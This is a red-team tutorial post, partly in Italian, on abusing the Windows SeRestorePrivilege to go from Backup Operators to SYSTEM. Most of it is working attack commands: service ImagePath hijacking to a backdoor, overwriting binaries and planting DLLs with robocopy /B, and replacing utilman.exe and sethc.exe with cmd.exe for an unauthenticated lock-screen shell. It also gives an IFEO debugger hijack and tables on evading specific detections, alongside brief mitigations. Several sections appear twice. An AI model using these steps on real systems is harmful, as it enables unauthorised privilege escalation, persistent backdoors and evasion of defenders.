SeRestorePrivilege: From Backup Operator to SYSTEM in 3 Steps

How to abuse SeRestorePrivilege to overwrite system binaries and gain SYSTEM shell. ImagePath hijacking, DLL sideloading, persistent backdoor. Red Team technique.
- Posted on 2026-05-29
- Reading time: 5 min
Same group as SeBackupPrivilege, opposite direction. With SeRestorePrivilege you can write to any file or registry key bypassing ACLs — replace a SYSTEM service binary, restart the service, get nt authority\systemPersistent backdoor across reboots included.
Quick Exploit #
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\backdoor.exe" /f
sc stop NomeServizio
sc start NomeServizioExpected output:
nt authority\systemWhat is SeRestorePrivilege? #
It works with the same mechanism as SeBackupPrivilege but in the opposite direction: it uses FILE_FLAG_BACKUP_SEMANTICS write. The kernel bypasses the DACL and allows writing to any file or registry key, regardless of normal permissions.
Note: reg add su HKLM e robocopy /B activate the restore API internally — they work even if the privilege appears Disabled.
When it exists #
- Backup Operators (local and domain) — have both SeBackupPrivilege and SeRestorePrivilege by design
- Server Operators in Active Directory
- Veeam / Acronis / Backup Exec Service Accounts
- IT Account with explicit backup delegations
Verify:
whoami /privLooking for:
SeRestorePrivilege Restore files and directories EnabledWho has privilege in the system:
accesschk.exe -a SeRestorePrivilege *Attack Chain #
Account Backup Operators / Veeam compromesso
→ whoami /priv → SeRestorePrivilege Enabled
→ sc qc NomeServizio → identifica binario SYSTEM
→ reg add ImagePath → punta a backdoor.exe
→ sc stop + sc start → nt authority\system
→ persistenza ai riavvii (il servizio caricherà sempre backdoor.exe)Tool Decision #
| Target | Method |
|---|---|
| Quick ImagePath Edit | reg add on HKLM (uses restore API internally) |
| Physical track replacement | robocopy /B — bypass ACL with backup semantics |
| DLL hijacking | robocopy /B + Identify missing DLLs with Process Monitor |
| Backdoor without service restart | Accessibility backdoor (utilman.exe / sethc.exe) |
| Intercept any executable | IFEO hijacking via reg add on Image File Execution Options |
First find a service running as LocalSystem:
wmic service get name,startname,pathname | findstr /i "LocalSystem"Then check the exact path of the target service binary:
sc qc NomeServizioOutput:
SERVICE_NAME: NomeServizio
BINARY_PATH_NAME : C:\Program Files\VendorApp\svc.exe
OBJECTNAME : LocalSystemStep 2 — Edit ImagePath via registry #
The cleanest method: Edit the service registry key to point to your binary. reg add su HKLM Use the restore API internally:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\backdoor.exe" /fRestart the service:
sc stop NomeServiziosc start NomeServizioExpected output:
nt authority\systemvariants #
robocopy /B — direct binary replacement #
Overwrites the service file using the restore API, bypassing ACLs:
robocopy /B C:\temp "C:\Program Files\VendorApp\" backdoor.exe /mt /isIf the filename needs to match the original binary, rename it:
move "C:\Program Files\VendorApp\backdoor.exe" "C:\Program Files\VendorApp\svc.exe"Restart the service:
sc stop NomeServizio && sc start NomeServizioPrivileged DLL Hijacking #
Instead of replacing the main binary, it places a malicious DLL that the service searches for and cannot find. To identify missing DLLs, use Process Monitor (Sysinternals): Open procmon, apply filters Result is NAME NOT FOUND e Path ends with .dll, then start the service and observe the output.
Once the missing DLL has been identified, for example C:\Program Files\VendorApp\missing.dll:
robocopy /B C:\temp "C:\Program Files\VendorApp\" malicious.dllRename if necessary:
move "C:\Program Files\VendorApp\malicious.dll" "C:\Program Files\VendorApp\missing.dll"Restart the service:
sc stop NomeServizio && sc start NomeServizioAlternatively, use Seatbelt to automatically find hijackable DLLs:
Seatbelt.exe HijackableDLLsAccessibility backdoor — SYSTEM shell from the lock screen #
Replace utilman.exe (Win+U from lock screen) or sethc.exe (Shift×5) with cmd.exe. Get an unauthenticated SYSTEM shell — persistent backdoor across reboots.
First make a backup of the original:
robocopy /B C:\Windows\System32 C:\temp utilman.exeThen replace with cmd.exe:
copy /B C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe /YFrom the lock screen: Win+U → shell SYSTEM.
For sethc.exe (Sticky Keys):
copy /B C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe /YFrom the lock screen: Shift × 5 → shell SYSTEM.
IFEO hijacking — intercepts any executable #
Image File Execution Options allows you to set a debugger for any executable: when the binary is launched, Windows starts the debugger in its place.
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /d "C:\temp\backdoor.exe" /fEach start of utilman.exe will execute your backdoor. To clean up:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /fManually enable PowerShell script privilege #
If you use direct .NET APIs instead of robocopy /B:
Import-Module .\Enable-Privilege.ps1
Enable-Privilege SeRestorePrivilegeVerify:
whoami /priv | findstr SeRestoreCommon mistakes #
reg add on ImagePath but the service still starts the original binary — The service only reads ImagePath at startup. You must stop and start, not just restart, in some cases.
robocopy /B fails with “Access Denied” — The privilege is Disabled in the token and you are using a path that requires explicit activation. Check with whoami /priv | findstr SeRestore.
DLL hijacking: service fails to load placed DLL — The service uses an absolute path in the LoadLibrary call. Verify with Process Monitor that it actually searches for the DLL in that path (filter on NAME NOT FOUND).
Accessibility backdoor restored after reboot — Windows Resource Protection (WRP) has restored the file. Use the services directory in C:\Program Files\ instead of WRP-protected System32 files.
Detection and bypass (Red Team view) #
| What the Blue Team detects | How the Red Team bypasses it |
|---|---|
| Event ID 4657 — changes ImagePath | Usa robocopy /B for direct file replacement instead of touching the registry |
| Sysmon 11 — FileCreate on Services Directory | Copy the file from a temporary path already present in the filesystem |
| FIM on the service tracks | Hard to avoid — operates during maintenance windows or uses DLL hijacking on less monitored files |
| Accessibility backdoor (modified utilman.exe) | Use IFEO hijacking on registry instead — less noticeable to FIM |
Real-world scenarios #
Veeam service account — accounts in the Backup Operators group on legacy service servers. reg add ImagePath points to backdoor.exe → sc restart → SYSTEM → dump credentials → lateral movement.
Accessibility backdoor in RDP environment utilman.exe replaced with cmd.exe → SYSTEM access from RDP lock screen without authentication → persistence across reboots.
Post-enumeration DLL hijacking — Seatbelt identifies a hijackable DLL on a SYSTEM service → robocopy /B place DLL → SYSTEM.
When it fails #
- Windows Resource Protection (WRP) on System32 core files → automatic recovery from SFC. Use services directory (
C:\Program Files\) Instead. - WDAC / AppLocker → The binary is blocked from execution even if it's written correctly. You need a signed binary or a LOLBin loader.
- The privilege is Disabled and you use direct .NET APIs → use
robocopy /Bwhich triggers the restore API internally. - The service could not be restarted → check permissions:
sc sdshow NomeServizio.
Detection and bypass (Red Team view) #
| What the Blue Team detects | How the Red Team bypasses it |
|---|---|
| Event ID 4657 — changes ImagePath | Usa robocopy /B for direct file replacement instead of touching the registry |
| Sysmon 11 — FileCreate on Services Directory | Operates during maintenance windows or uses DLL hijacking on less monitored files |
| FIM on service tracks | Hard to avoid — uses IFEO registry hijacking instead, less visible to FIM |
| Accessibility backdoor (utilman.exe) | Use IFEO hijacking via reg add — less noticeable to the filesystem FIM |
Mitigations #
- Restrict the Backup Operators group with periodic review
- WDAC — blocks execution of unsigned binaries even if written in the correct path
- FIM on the tracks of critical services with immediate alert
- gMSA for backup service accounts
Realistically, WDAC is the only truly effective mitigation. FIM without WDAC slows down but doesn't block—the attacker has already executed the code when the alert arrives. In most enterprise environments, WDAC is not deployed.
Common mistakes #
The service still starts the original track after reg add — You changed ImagePath but didn't stop and start. Some services require an explicit stop.
robocopy /B fails with Access Denied — The privilege is Disabled and is not automatically activated. Use reg add on HKLM which manages it internally, or enable with Enable-Privilege SeRestorePrivilege.
DLL not loaded after placement — The service uses an absolute path in the LoadLibrary call. Check with Process Monitor by filtering on NAME NOT FOUND + .dll.
Accessibility backdoor restored after reboot — WRP has restored the System32 file. Use the services directory in C:\Program Files\ Instead.
FAQ #
reg add Does it work even if SeRestorePrivilege is Disabled?
Yes — it uses the restore API internally and activates it automatically.
What's the difference with SeBackupPrivilege? SeBackupPrivilege reads, bypassing ACLs. SeRestorePrivilege writes. Backup Operators have both—arbitrary read and write rights on the entire filesystem.
SeRestorePrivilege turns a backup account into a persistent backdoor installer. Once the ImagePath is changed, persistence survives reboots until someone examines the registry key.
Related articles:
- SeBackupPrivilege — arbitrary read, same account group
- SeTakeOwnershipPrivilege — alternative when you need to change ownership first
- SeRelabelPrivilege — MIC layer bypass when ACL and MIC both block
References: Seatbelt · Process Monitor · Microsoft Docs
To evaluate the service accounts exposed in your infrastructure: hackita.it/supporto








